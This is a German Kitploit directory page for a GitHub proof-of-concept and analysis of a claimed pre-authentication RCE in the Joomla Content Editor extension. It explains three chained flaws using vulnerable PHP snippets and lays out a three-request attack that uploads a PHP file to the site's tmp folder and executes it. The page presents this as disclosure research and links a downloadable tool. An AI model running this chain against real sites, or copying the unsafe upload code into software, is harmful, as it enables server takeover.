Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-48907 — Proof-of-Concept-Exploit und technische Analyse für CVE-2026-48907, eine CVSS-10.0-Pre-Authentifizierungs-Remote-Code-Ausführungsschwachstelle im Joomla Content Editor (JCE). Enthält eine 3-Request-Angriffskette und detaillierte Patch-Analyse. | Kitploit
Tools/GitHubGitHub/grayxploit/cve-2026-48907
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPapers & ForschungLernen & Bildung
GitHubgrayxploit/cve-2026-48907

CVE-2026-48907

Proof-of-Concept-Exploit und technische Analyse für CVE-2026-48907, eine CVSS-10.0-Pre-Authentifizierungs-Remote-Code-Ausführungsschwachstelle im Joomla Content Editor (JCE). Enthält eine 3-Request-Angriffskette und detaillierte Patch-Analyse.

Repository anzeigen
33vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-48907 — Nicht authentifizierte RCE in Joomla Content Editor (JCE) ≤ 2.9.99.4

Proof-of-Concept-Exploit für CVE-2026-48907 – eine CVSS 10.0 nicht authentifizierte Remote-Code-Ausführung-Schwachstelle in der Joomla Content Editor (JCE)-Erweiterung.
Forschung vom Grayxploit Security Team

Gemini_Generated_Image_2i4b4p2i4b4p2i4b

Inhaltsverzeichnis

  • Übersicht
  • Betroffene Versionen
  • Details zur Sicherheitslücke
  • Angriffsablauf
  • Proof of Concept
  • Patch-Analyse
  • Abhilfe
  • Zeitplan
  • Referenzen
  • Haftungsausschluss

Übersicht

CVE-2026-48907 ist eine kritische, nicht authentifizierte Remote-Code-Ausführung (RCE)-Schwachstelle in der Joomla Content Editor (JCE)-Erweiterung – dem am weitesten verbreiteten Joomla-Editor – in allen Versionen bis einschließlich 2.9.99.4.

Durch die Verkettung von drei unabhängigen Sicherheitsschwachstellen im JCE-Profilimport-Workflow kann ein völlig unauthentifizierter Angreifer Folgendes tun:

  • Eine beliebige PHP-Webshell in das /tmp/-Verzeichnis des Servers hochladen
  • Die Ausführung dieser Webshell über HTTP auslösen
  • Vollständige Remote Code Execution (RCE) ohne Anmeldedaten, ohne Benutzerinteraktion und ohne besondere Netzwerkposition erreichen

Der Angriff erfordert nur 3 HTTP-Anfragen und funktioniert gegen jede Standard-Joomla-Installation mit einer verwundbaren JCE-Version.

CVSS v4 Punktzahl: 10.0 — Kritisch

Entdeckt und öffentlich offengelegt vom Grayxploit Security-Forschungsteam nach verantwortungsvoller Offenlegung.


Betroffene Versionen

SoftwareVerwundbare VersionenPatch-Version
Joomla Content Editor (JCE)≤ 2.9.99.42.9.99.6 (empfohlen)

Hinweis: 2.9.99.5 führte den Kernfix ein. 2.9.99.6 fügte zusätzliche Härtungsschichten hinzu. Aktualisieren Sie auf 2.9.99.6 oder höher.


Details zur Sicherheitslücke

Die Schwachstelle hat ihren Ursprung im JCE-Profilimport-Endpunkt:

POST /index.php?option=com_jce&task=profiles.import

JCE erlaubt Administratoren, Editorprofile als XML-Dateien zu exportieren und zu importieren. Der Import-Handler ist ohne Authentifizierung erreichbar und akzeptiert aufgrund einer Kette von drei unabhängigen Schwachstellen beliebige Datei-Uploads.

Schwachstelle 1 — Fehlende Autorisierung (CWE-862)

Die Import-Controller führte keine ACL-Prüfung durch:

public function import()
{
    // Only gate: CSRF token — trivially bypassable
    Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

    $app = Factory::getApplication();
    // … straight into file handling — no authorise() check
}

Joomla bettet das CSRF-Token in jede öffentliche Seite als Meta-Tag oder JavaScript-Variable ein:

<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />

Ein Angreifer ruft einfach die Startseite ab, extrahiert das Token und spielt es erneut ab. Die CSRF-Prüfung verhindert Cross-Site-Anfragen – sie verhindert nicht direkte scriptgesteuerte Anfragen. Es gab keinen Aufruf von Factory::getUser() oder $user->authorise(...) im gesamten Import-Pfad.


Schwachstelle 2 — Keine Dateiendungsüberprüfung (CWE-434)

Der Upload-Handler verwendete File::makeSafe(), das nur ungültige Dateisystemzeichen entfernt – es überprüft oder schränkt Dateiendungen nicht ein:

$file = $app->input->files->get('profile_file', null, 'raw');

if (!is_uploaded_file($file['tmp_name'])) { return false; }

$name = File::makeSafe($file['name']); // strips illegal chars only

$destination = $config->get('tmp_path') . '/' . $name;
$source      = $file['tmp_name'];

File::upload($source, $destination, false, true);

Ein Dateiname wie shell.xml.php passiert File::makeSafe() unverändert. Apache's mod_php führt ihn aus, da die letzte erkannte Endung .php ist. Endungen wie .php, .php5, .phtml und Doppelvarianten wurden alle akzeptiert.


Schwachstelle 3 — File::upload() mit $allow_unsafe = true aufgerufen (CWE-116)

Joomla's File::upload() verfügt über eine integrierte Erweiterungs-Blacklist, die gefährliche Dateitypen blockiert, wenn $allow_unsafe = false (Standard) ist:

// Joomla File::upload() signature
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)

Der verwundbare JCE-Code hat dieses Sicherheitsnetz explizit deaktiviert:

// VULNERABLE — unsafe uploads explicitly enabled
File::upload($source, $destination, false, true);

Dieser einzelne Boolean-Wert schaltete die gesamte interne Erweiterungs-Blacklist von Joomla aus, sodass .php, .php5, .phtml und alle anderen ausführbaren Erweiterungen auf die Festplatte geschrieben werden konnten.


Angriffsablauf

┌─────────────────────────────────────────────────────────────────┐
│                                                                 │
│  ① GET /                                                       │
│     ← Extract csrf_token from HTML/JS                           │
│                                                                 │
│  ② POST /index.php?option=com_jce&task=profiles.import         │
│     Content-Type: multipart/form-data                           │
│                                                                 │
│     --boundary                                                  │
│     Content-Disposition: form-data; name="task"                 │
│     profiles.import                                             │
│     --boundary                                                  │
│     Content-Disposition: form-data; name="<csrf_token>"         │
│     1                                                           │
│     --boundary                                                  │
│     Content-Disposition: form-data;                             │
│       name="profile_file";                                      │
│       filename="shell-<hash>.xml.php"                           │
│     Content-Type: application/xml                               │
│                                                                 │
│     <?= 45*69 ?>                                                │
│     --boundary--                                                │
│                                                                 │
│     ← 200 OK (file written to /var/www/html/tmp/)               │
│                                                                 │
│  ③ GET /tmp/shell-<hash>.xml.php                               │
│     ← Response: "3105"  (45 × 69 = RCE confirmed ✓)             │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

  No session cookie. No username. No password. 3 HTTP requests.

Proof of Concept

Tool herunterladen